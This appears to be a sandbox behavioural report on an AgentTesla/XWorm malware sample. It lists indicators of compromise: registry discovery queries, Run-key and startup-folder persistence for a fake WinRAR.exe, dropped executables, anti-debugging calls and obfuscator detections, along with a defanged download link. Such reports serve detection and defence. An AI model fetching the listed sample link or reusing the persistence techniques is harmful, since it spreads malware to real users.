agenttesla | hxxps://mega[.]nz/folder/o7onBAqb#lPnM6du1_ZsHQgf5SIaC4Q

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-4182098368-2521458979-3782681353-1000\Control Panel\International\Geo\Nation	WinRAR.exe
Key value queried	\REGISTRY\USER\S-1-5-21-4182098368-2521458979-3782681353-1000\Control Panel\International\Geo\Nation	Luxury Shield 7.1.exe
Key value queried	\REGISTRY\USER\S-1-5-21-4182098368-2521458979-3782681353-1000\Control Panel\International\Geo\Nation	Luxury Shield 7.1.exe

Drops startup file 2 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\WinRAR.lnk	WinRAR.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\WinRAR.lnk	WinRAR.exe

Executes dropped EXE 45 IoCs

pid	Process
5628	Luxury Shield 7.1.exe
5928	WinRAR.exe
4144	Luxury Shield 7.1.exe
5680	WinRAR.exe
2312	Luxury Shield 7.1.exe
3788	WinRAR.exe
2192	WinRAR.exe
5608	Luxury Shield 7.1.exe
5696	WinRAR.exe
4976	WinRAR.exe
5852	WinRAR.exe
5688	WinRAR.exe
1704	WinRAR.exe
2472	WinRAR.exe
2304	Progman.exe
444	XWorm.exe
3896	WinRAR.exe
4656	WinRAR.exe
1820	WinRAR.exe
800	WinRAR.exe
4536	Luxury Shield 7.1.exe
5272	WinRAR.exe
3468	WinRAR.exe
5068	Luxury Shield 7.1.exe
5032	WinRAR.exe
5856	WinRAR.exe
3500	WinRAR.exe
2332	WinRAR.exe
4856	WinRAR.exe
1920	WinRAR.exe
4740	WinRAR.exe
1792	WinRAR.exe
4648	WinRAR.exe
3136	nexusv2.exe
1448	nexusv2.exe
3396	WinRAR.exe
2324	WinRAR.exe
3204	WinRAR.exe
5132	WinRAR.exe
5908	WinRAR.exe
5572	WinRAR.exe
6040	WinRAR.exe
5572	WinRAR.exe
2656	WinRAR.exe
3468	WinRAR.exe

Loads dropped DLL 2 IoCs

pid	Process
2312	Luxury Shield 7.1.exe
4536	Luxury Shield 7.1.exe

Obfuscated with Agile.Net obfuscator 33 IoCs

Detects use of the Agile.Net commercial obfuscator, which is capable of entity renaming and control flow obfuscation.

agilenet

resource	yara_rule
behavioral1/memory/2312-421-0x000000000B780000-0x000000000B9CC000-memory.dmp	agile_net
behavioral1/memory/2312-465-0x000000000B780000-0x000000000B9C8000-memory.dmp	agile_net
behavioral1/memory/2312-477-0x000000000B780000-0x000000000B9C8000-memory.dmp	agile_net
behavioral1/memory/2312-483-0x000000000B780000-0x000000000B9C8000-memory.dmp	agile_net
behavioral1/memory/2312-487-0x000000000B780000-0x000000000B9C8000-memory.dmp	agile_net
behavioral1/memory/2312-485-0x000000000B780000-0x000000000B9C8000-memory.dmp	agile_net
behavioral1/memory/2312-479-0x000000000B780000-0x000000000B9C8000-memory.dmp	agile_net
behavioral1/memory/2312-475-0x000000000B780000-0x000000000B9C8000-memory.dmp	agile_net
behavioral1/memory/2312-473-0x000000000B780000-0x000000000B9C8000-memory.dmp	agile_net
behavioral1/memory/2312-471-0x000000000B780000-0x000000000B9C8000-memory.dmp	agile_net
behavioral1/memory/2312-469-0x000000000B780000-0x000000000B9C8000-memory.dmp	agile_net
behavioral1/memory/2312-467-0x000000000B780000-0x000000000B9C8000-memory.dmp	agile_net
behavioral1/memory/2312-463-0x000000000B780000-0x000000000B9C8000-memory.dmp	agile_net
behavioral1/memory/2312-461-0x000000000B780000-0x000000000B9C8000-memory.dmp	agile_net
behavioral1/memory/2312-459-0x000000000B780000-0x000000000B9C8000-memory.dmp	agile_net
behavioral1/memory/2312-457-0x000000000B780000-0x000000000B9C8000-memory.dmp	agile_net
behavioral1/memory/2312-455-0x000000000B780000-0x000000000B9C8000-memory.dmp	agile_net
behavioral1/memory/2312-453-0x000000000B780000-0x000000000B9C8000-memory.dmp	agile_net
behavioral1/memory/2312-451-0x000000000B780000-0x000000000B9C8000-memory.dmp	agile_net
behavioral1/memory/2312-447-0x000000000B780000-0x000000000B9C8000-memory.dmp	agile_net
behavioral1/memory/2312-445-0x000000000B780000-0x000000000B9C8000-memory.dmp	agile_net
behavioral1/memory/2312-441-0x000000000B780000-0x000000000B9C8000-memory.dmp	agile_net
behavioral1/memory/2312-439-0x000000000B780000-0x000000000B9C8000-memory.dmp	agile_net
behavioral1/memory/2312-433-0x000000000B780000-0x000000000B9C8000-memory.dmp	agile_net
behavioral1/memory/2312-430-0x000000000B780000-0x000000000B9C8000-memory.dmp	agile_net
behavioral1/memory/2312-481-0x000000000B780000-0x000000000B9C8000-memory.dmp	agile_net
behavioral1/memory/2312-449-0x000000000B780000-0x000000000B9C8000-memory.dmp	agile_net
behavioral1/memory/2312-443-0x000000000B780000-0x000000000B9C8000-memory.dmp	agile_net
behavioral1/memory/2312-437-0x000000000B780000-0x000000000B9C8000-memory.dmp	agile_net
behavioral1/memory/2312-435-0x000000000B780000-0x000000000B9C8000-memory.dmp	agile_net
behavioral1/memory/2312-431-0x000000000B780000-0x000000000B9C8000-memory.dmp	agile_net
behavioral1/files/0x0007000000023601-11341.dat	agile_net
behavioral1/memory/444-11398-0x000001F92F7C0000-0x000001F932A38000-memory.dmp	agile_net

UPX packed file 2 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/files/0x00080000000235fe-11319.dat	upx
behavioral1/memory/2304-11335-0x0000000140000000-0x00000001407A1000-memory.dmp	upx

Uses the VBS compiler for execution 1 TTPs

Scripting
T1064

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-4182098368-2521458979-3782681353-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\WinRAR = "C:\\Users\\Public\\WinRAR.exe"	WinRAR.exe

Obfuscated Files or Information: Command Obfuscation 1 TTPs
Adversaries may obfuscate content during command execution to impede detection.
defense_evasion

Command Obfuscation
T1027.010

Suspicious use of NtSetInformationThreadHideFromDebugger 64 IoCs

pid	Process
5628	Luxury Shield 7.1.exe
4144	Luxury Shield 7.1.exe
2312	Luxury Shield 7.1.exe
2312	Luxury Shield 7.1.exe
2312	Luxury Shield 7.1.exe
2312	Luxury Shield 7.1.exe
2312	Luxury Shield 7.1.exe
5608	Luxury Shield 7.1.exe
2312	Luxury Shield 7.1.exe
2312	Luxury Shield 7.1.exe
2312	Luxury Shield 7.1.exe
2312	Luxury Shield 7.1.exe
2312	Luxury Shield 7.1.exe
2312	Luxury Shield 7.1.exe
2312	Luxury Shield 7.1.exe
2312	Luxury Shield 7.1.exe
2312	Luxury Shield 7.1.exe
2312	Luxury Shield 7.1.exe
2312	Luxury Shield 7.1.exe
2312	Luxury Shield 7.1.exe
2312	Luxury Shield 7.1.exe
2312	Luxury Shield 7.1.exe
2312	Luxury Shield 7.1.exe
2312	Luxury Shield 7.1.exe
2312	Luxury Shield 7.1.exe
2312	Luxury Shield 7.1.exe
2312	Luxury Shield 7.1.exe
2312	Luxury Shield 7.1.exe
2312	Luxury Shield 7.1.exe
2312	Luxury Shield 7.1.exe
2312	Luxury Shield 7.1.exe
2312	Luxury Shield 7.1.exe
2312	Luxury Shield 7.1.exe
2312	Luxury Shield 7.1.exe
444	XWorm.exe
2312	Luxury Shield 7.1.exe
444	XWorm.exe
2312	Luxury Shield 7.1.exe
2312	Luxury Shield 7.1.exe
2312	Luxury Shield 7.1.exe
2312	Luxury Shield 7.1.exe
2312	Luxury Shield 7.1.exe
2312	Luxury Shield 7.1.exe
2312	Luxury Shield 7.1.exe
2312	Luxury Shield 7.1.exe
2312	Luxury Shield 7.1.exe
2312	Luxury Shield 7.1.exe
2312	Luxury Shield 7.1.exe
2312	Luxury Shield 7.1.exe
2312	Luxury Shield 7.1.exe
2312	Luxury Shield 7.1.exe
2312	Luxury Shield 7.1.exe
2312	Luxury Shield 7.1.exe
2312	Luxury Shield 7.1.exe
2312	Luxury Shield 7.1.exe
2312	Luxury Shield 7.1.exe
2312	Luxury Shield 7.1.exe
2312	Luxury Shield 7.1.exe
2312	Luxury Shield 7.1.exe
4536	Luxury Shield 7.1.exe
4536	Luxury Shield 7.1.exe
4536	Luxury Shield 7.1.exe
4536	Luxury Shield 7.1.exe
4536	Luxury Shield 7.1.exe

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 3136 set thread context of 1448	3136	nexusv2.exe	220

Drops file in Windows directory 1 IoCs

description	ioc	Process
File created	C:\Windows\Progman.exe	XWorm V5.3.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Program crash 1 IoCs

pid	pid_target	Process	procid_target
1500	2312	WerFault.exe	136

System Location Discovery: System Language Discovery 1 TTPs 19 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Luxury Shield 7.1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	csc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Luxury Shield 7.1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Luxury Shield 7.1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cvtres.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	nexusv2.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Luxury Shield 7.1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	csc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cvtres.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Luxury Shield 7.1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Luxury Shield 7.1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	DllHost.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	DllHost.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	nexusv2.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	csc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cvtres.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe

Checks processor information in registry 2 TTPs 2 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

System Information Discovery

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	nexusv2.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier	nexusv2.exe

Enumerates system info in registry 2 TTPs 10 IoCs

Query Registry

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	nexusv2.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\BIOSVersion	nexusv2.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\BIOSReleaseDate	nexusv2.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	nexusv2.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	XWorm.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	XWorm.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemVersion	XWorm.exe

Modifies Internet Explorer settings 1 TTPs 1 IoCs

adware spyware

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-4182098368-2521458979-3782681353-1000\Software\Microsoft\Internet Explorer\TypedURLs	XWorm.exe

Modifies registry class 64 IoCs

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-4182098368-2521458979-3782681353-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\3\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\GroupByKey:FMTID = "{00000000-0000-0000-0000-000000000000}"	msedge.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-4182098368-2521458979-3782681353-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\6\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\ColInfo = 00000000000000000000000000000000fddfdffd100000000000000000000000040000001800000030f125b7ef471a10a5f102608c9eebac0a0000001001000030f125b7ef471a10a5f102608c9eebac0e0000009000000030f125b7ef471a10a5f102608c9eebac040000007800000030f125b7ef471a10a5f102608c9eebac0c00000050000000	XWorm.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-4182098368-2521458979-3782681353-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\MRUListEx = 010000000000000002000000ffffffff	msedge.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-4182098368-2521458979-3782681353-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\3\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\Sort = 000000000000000000000000000000000100000030f125b7ef471a10a5f102608c9eebac0a00000001000000	msedge.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-4182098368-2521458979-3782681353-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\0\MRUListEx = 010000000200000000000000ffffffff	Luxury Shield 7.1.exe
Key created	\REGISTRY\USER\S-1-5-21-4182098368-2521458979-3782681353-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\9	Luxury Shield 7.1.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-4182098368-2521458979-3782681353-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\NodeSlots = 0202020202020202020202	msedge.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-4182098368-2521458979-3782681353-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\12\ComDlg\{CD0FC69B-71E2-46E5-9690-5BCD9F57AAB3}\ColInfo = 00000000000000000000000000000000fddfdffd100000000000000000000000040000001800000030f125b7ef471a10a5f102608c9eebac0a000000a000000030f125b7ef471a10a5f102608c9eebac0e0000009000000030f125b7ef471a10a5f102608c9eebac040000007800000030f125b7ef471a10a5f102608c9eebac0c00000050000000	msedge.exe
Key created	\REGISTRY\USER\S-1-5-21-4182098368-2521458979-3782681353-1000_Classes\CLSID\{018D5C66-4533-4307-9B53-224DE2ED1FE6}\Instance\	msedge.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-4182098368-2521458979-3782681353-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\1\0\MRUListEx = 00000000ffffffff	XWorm.exe
Key created	\REGISTRY\USER\S-1-5-21-4182098368-2521458979-3782681353-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\1\0\0\0\0	XWorm.exe
Key created	\REGISTRY\USER\S-1-5-21-4182098368-2521458979-3782681353-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\0\2\0	XWorm.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-4182098368-2521458979-3782681353-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\2\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\GroupView = "0"	msedge.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-4182098368-2521458979-3782681353-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\1\0\0\0 = 8400310000000000085919371100444f574e4c4f7e3100006c0009000400efbe02598363085919372e0000007fe10100000001000000000000000000420000000000da374e0044006f0077006e006c006f00610064007300000040007300680065006c006c00330032002e0064006c006c002c002d0032003100370039003800000018000000	XWorm.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-4182098368-2521458979-3782681353-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\1\0\0\0\0\0\0 = 500031000000000008591a37100049636f6e73003c0009000400efbe08591a3708591d372e00000035360200000007000000000000000000000000000000e83cf200490063006f006e007300000014000000	XWorm.exe
Key created	\REGISTRY\USER\S-1-5-21-4182098368-2521458979-3782681353-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\0\1\0	msedge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-4182098368-2521458979-3782681353-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\9\ComDlg\{885A186E-A440-4ADA-812B-DB871B942259}\Mode = "4"	Luxury Shield 7.1.exe
Key created	\REGISTRY\USER\S-1-5-21-4182098368-2521458979-3782681353-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\0\2\0\1	Luxury Shield 7.1.exe
Key created	\REGISTRY\USER\S-1-5-21-4182098368-2521458979-3782681353-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags	msedge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-4182098368-2521458979-3782681353-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\9\ComDlg\{885A186E-A440-4ADA-812B-DB871B942259}\GroupByDirection = "4294967295"	msedge.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-4182098368-2521458979-3782681353-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\3\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\Sort = 000000000000000000000000000000000100000030f125b7ef471a10a5f102608c9eebac0a00000001000000	msedge.exe
Key created	\REGISTRY\USER\S-1-5-21-4182098368-2521458979-3782681353-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\1	XWorm.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-4182098368-2521458979-3782681353-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\1\MRUListEx = 00000000ffffffff	XWorm.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-4182098368-2521458979-3782681353-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\7\ComDlg\{B3690E58-E961-423B-B687-386EBFD83239}\GroupByKey:PID = "0"	XWorm.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-4182098368-2521458979-3782681353-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\9\ComDlg\{885A186E-A440-4ADA-812B-DB871B942259}\Version = "1"	Luxury Shield 7.1.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-4182098368-2521458979-3782681353-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\2\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\LogicalViewMode = "1"	Luxury Shield 7.1.exe
Key created	\REGISTRY\USER\S-1-5-21-4182098368-2521458979-3782681353-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\0	msedge.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-4182098368-2521458979-3782681353-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\9\Shell\SniffedFolderType = "Downloads"	msedge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-4182098368-2521458979-3782681353-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\3\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\GroupView = "0"	Luxury Shield 7.1.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-4182098368-2521458979-3782681353-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\6\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\Mode = "4"	Luxury Shield 7.1.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-4182098368-2521458979-3782681353-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\0\2\0\1\NodeSlot = "11"	Luxury Shield 7.1.exe
Key created	\REGISTRY\USER\S-1-5-21-4182098368-2521458979-3782681353-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\10\ComDlg	Luxury Shield 7.1.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-4182098368-2521458979-3782681353-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\NodeSlots = 020202020202020202020202	msedge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-4182098368-2521458979-3782681353-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\3\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\IconSize = "16"	Luxury Shield 7.1.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-4182098368-2521458979-3782681353-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\5\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\FFlags = "1"	Luxury Shield 7.1.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-4182098368-2521458979-3782681353-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\0\2\0\0\MRUListEx = ffffffff	Luxury Shield 7.1.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-4182098368-2521458979-3782681353-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\0\MRUListEx = 010000000200000000000000ffffffff	Luxury Shield 7.1.exe
Key created	\REGISTRY\USER\S-1-5-21-4182098368-2521458979-3782681353-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\1	msedge.exe
Key created	\REGISTRY\USER\S-1-5-21-4182098368-2521458979-3782681353-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\9\ComDlg\{885A186E-A440-4ADA-812B-DB871B942259}	msedge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-4182098368-2521458979-3782681353-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\3\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\LogicalViewMode = "1"	msedge.exe
Key created	\REGISTRY\USER\S-1-5-21-4182098368-2521458979-3782681353-1000_Classes\Local Settings	msedge.exe
Key created	\REGISTRY\USER\S-1-5-21-4182098368-2521458979-3782681353-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\3\Shell	Luxury Shield 7.1.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-4182098368-2521458979-3782681353-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\10\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\GroupView = "0"	Luxury Shield 7.1.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-4182098368-2521458979-3782681353-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\11\ComDlg\{B3690E58-E961-423B-B687-386EBFD83239}\GroupView = "0"	Luxury Shield 7.1.exe
Key created	\REGISTRY\USER\S-1-5-21-4182098368-2521458979-3782681353-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\7\ComDlg	XWorm.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-4182098368-2521458979-3782681353-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\3\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\GroupByKey:PID = "0"	msedge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-4182098368-2521458979-3782681353-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\11\ComDlg\{B3690E58-E961-423B-B687-386EBFD83239}\GroupByKey:PID = "0"	Luxury Shield 7.1.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-4182098368-2521458979-3782681353-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\1 = 3a001f44471a0359723fa74489c55595fe6b30ee260001002600efbe1000000071beae6cd7e4da019a79482edde4da015973dd0962e9da0114000000	msedge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-4182098368-2521458979-3782681353-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\12\ComDlg\{CD0FC69B-71E2-46E5-9690-5BCD9F57AAB3}\GroupByDirection = "1"	msedge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-4182098368-2521458979-3782681353-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\9\ComDlg\{885A186E-A440-4ADA-812B-DB871B942259}\FFlags = "1"	msedge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-4182098368-2521458979-3782681353-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\3\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\LogicalViewMode = "1"	msedge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-4182098368-2521458979-3782681353-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\6\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\FFlags = "1092616257"	XWorm.exe
Key created	\REGISTRY\USER\S-1-5-21-4182098368-2521458979-3782681353-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\0	Luxury Shield 7.1.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-4182098368-2521458979-3782681353-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\0\2\0\0 = 5600310000000000085924371000506c7567696e7300400009000400efbe08591a37085924372e0000000f36020000000700000000000000000000000000000042c91b0050006c007500670069006e007300000016000000	Luxury Shield 7.1.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-4182098368-2521458979-3782681353-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\3\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\GroupByKey:PID = "0"	Luxury Shield 7.1.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-4182098368-2521458979-3782681353-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\9\ComDlg\{885A186E-A440-4ADA-812B-DB871B942259}\FFlags = "1"	Luxury Shield 7.1.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-4182098368-2521458979-3782681353-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\5\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\ColInfo = 00000000000000000000000000000000fddfdffd100000000000000000000000040000001800000030f125b7ef471a10a5f102608c9eebac0a0000001001000030f125b7ef471a10a5f102608c9eebac0e0000009000000030f125b7ef471a10a5f102608c9eebac040000007800000030f125b7ef471a10a5f102608c9eebac0c00000050000000	Luxury Shield 7.1.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-4182098368-2521458979-3782681353-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\6\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\GroupByKey:PID = "0"	Luxury Shield 7.1.exe
Key created	\REGISTRY\USER\S-1-5-21-4182098368-2521458979-3782681353-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\1\0\0\0\0\0\0	XWorm.exe
Key created	\REGISTRY\USER\S-1-5-21-4182098368-2521458979-3782681353-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0	Luxury Shield 7.1.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-4182098368-2521458979-3782681353-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\3\Shell\SniffedFolderType = "Generic"	Luxury Shield 7.1.exe
Key created	\REGISTRY\USER\S-1-5-21-4182098368-2521458979-3782681353-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\6	XWorm.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-4182098368-2521458979-3782681353-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\2\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\FFlags = "1092616257"	Luxury Shield 7.1.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-4182098368-2521458979-3782681353-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\3\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\FFlags = "1"	msedge.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

pid	Process
6080	schtasks.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
3928	msedge.exe
3928	msedge.exe
1468	msedge.exe
1468	msedge.exe
3268	identity_helper.exe
3268	identity_helper.exe
1276	msedge.exe
1276	msedge.exe
5428	powershell.exe
5428	powershell.exe
5428	powershell.exe
5652	powershell.exe
5652	powershell.exe
5652	powershell.exe
